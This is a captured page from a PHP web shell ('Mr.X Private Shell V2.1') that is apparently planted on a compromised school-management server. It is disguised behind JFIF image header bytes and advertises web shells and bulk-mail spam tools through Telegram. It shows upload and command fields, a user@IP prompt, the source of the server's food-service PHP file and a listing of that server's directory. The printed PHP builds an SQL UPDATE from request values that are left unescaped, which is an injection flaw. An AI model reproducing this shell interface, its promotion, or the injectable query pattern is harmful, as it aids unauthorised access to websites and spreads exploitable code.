����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php

require_once 'ProgramFunctions/TipMessage.fnc.php';

if ( $_REQUEST['modfunc'] === 'update' )
{
	if ( UserStaffID()
		&& AllowEdit() )
	{
		if ( ! empty( $_REQUEST['food_service'] ) )
		{
			$sql = "UPDATE food_service_staff_accounts SET ";

			foreach ( (array) $_REQUEST['food_service'] as $column_name => $value )
			{
				$sql .= DBEscapeIdentifier( $column_name ) . "='" . trim( $value ) . "',";
			}

			$sql = mb_substr( $sql, 0, -1 ) . " WHERE STAFF_ID='" . UserStaffID() . "'";
			DBQuery( $sql );
		}
	}

	// $_REQUEST['modfunc'] = false;

	// Unset food service & redirect URL.
	RedirectURL( [ 'food_service' ] );
}

if ( ! $_REQUEST['modfunc']
	&& UserStaffID() )
{
	$staff = DBGet( "SELECT s.STAFF_ID," . DisplayNameSQL( 's' ) . " ,
	(SELECT s.STAFF_ID FROM food_service_staff_accounts WHERE STAFF_ID=s.STAFF_ID) AS ACCOUNT_ID,
	(SELECT STATUS FROM food_service_staff_accounts WHERE STAFF_ID=s.STAFF_ID) AS STATUS,
	(SELECT BALANCE FROM food_service_staff_accounts WHERE STAFF_ID=s.STAFF_ID) AS BALANCE,
	(SELECT BARCODE FROM food_service_staff_accounts WHERE STAFF_ID=s.STAFF_ID) AS BARCODE
	FROM staff s
	WHERE s.STAFF_ID='" . UserStaffID() . "'" );
	$staff = $staff[1];

	echo '<table class="width-100p">';
	echo '<tr>';
	echo '<td class="valign-top">';
	echo '<table class="width-100p"><tr>';

	echo '<td class="valign-top">' . NoInput(  ( $staff['BALANCE'] < 0 ? '<span style="color:red">' : '' ) . $staff['BALANCE'] . ( $staff['BALANCE'] < 0 ? '</span>' : '' ), 'Balance' );

	// warn if account non-existent (balance query failed)

	if ( ! $staff['ACCOUNT_ID'] )
	{
		echo '<br />' . MakeTipMessage(
			_( 'This user does not have a Meal Account.' ),
			_( 'Warning' ),
			button( 'warning' )
		);
	}

	echo '</td>';

	echo '</tr></table>';
	echo '</td></tr></table>';
	echo '<hr>';

	echo '<table class="width-100p fixed-col">';
	echo '<tr><td class="valign-top">';

	echo '<table class="width-100p">';
	echo '<tr>';
	$options = [ 'Inactive' => _( 'Inactive' ), 'Disabled' => _( 'Disabled' ), 'Closed' => _( 'Closed' ) ];
	echo '<td>' . ( $staff['ACCOUNT_ID'] ? SelectInput( $staff['STATUS'], 'food_service[STATUS]', _( 'Status' ), $options, _( 'Active' ) ) : NoInput( '-', _( 'Status' ) ) ) . '</td>';
	echo '<td>' . ( $staff['ACCOUNT_ID'] ? TextInput( $staff['BARCODE'], 'food_service[BARCODE]', _( 'Barcode' ), 'size=12 maxlength=25' ) : NoInput( '-', _( 'Barcode' ) ) ) . '</td>';
	echo '</tr>';
	echo '</table>';

	echo '</td></tr>';
	echo '</table>';
}

Filemanager

Name Type Size Permission Actions
Students Folder 0755
Users Folder 0755
includes Folder 0755
Accounts.php File 1.09 KB 0644
ActivityReport.php File 5.37 KB 0644
AssignSchool.php File 3.72 KB 0644
BalanceReport.php File 3.04 KB 0644
DailyMenus.php File 10.33 KB 0644
Kiosk.php File 3.6 KB 0644
Menu.php File 1.97 KB 0644
MenuItems.php File 13.85 KB 0644
MenuReports.php File 15.67 KB 0644
Menus.php File 7.13 KB 0644
Reminders.php File 4.8 KB 0644
ServeMenus.php File 3.08 KB 0644
Statements.php File 4.03 KB 0644
Student.inc.php File 3.53 KB 0644
TakeMenuCounts.php File 9.01 KB 0644
TeacherCompletion.php File 5.86 KB 0644
Transactions.php File 2.26 KB 0644
TransactionsReport.php File 5.5 KB 0644
User.inc.php File 2.43 KB 0644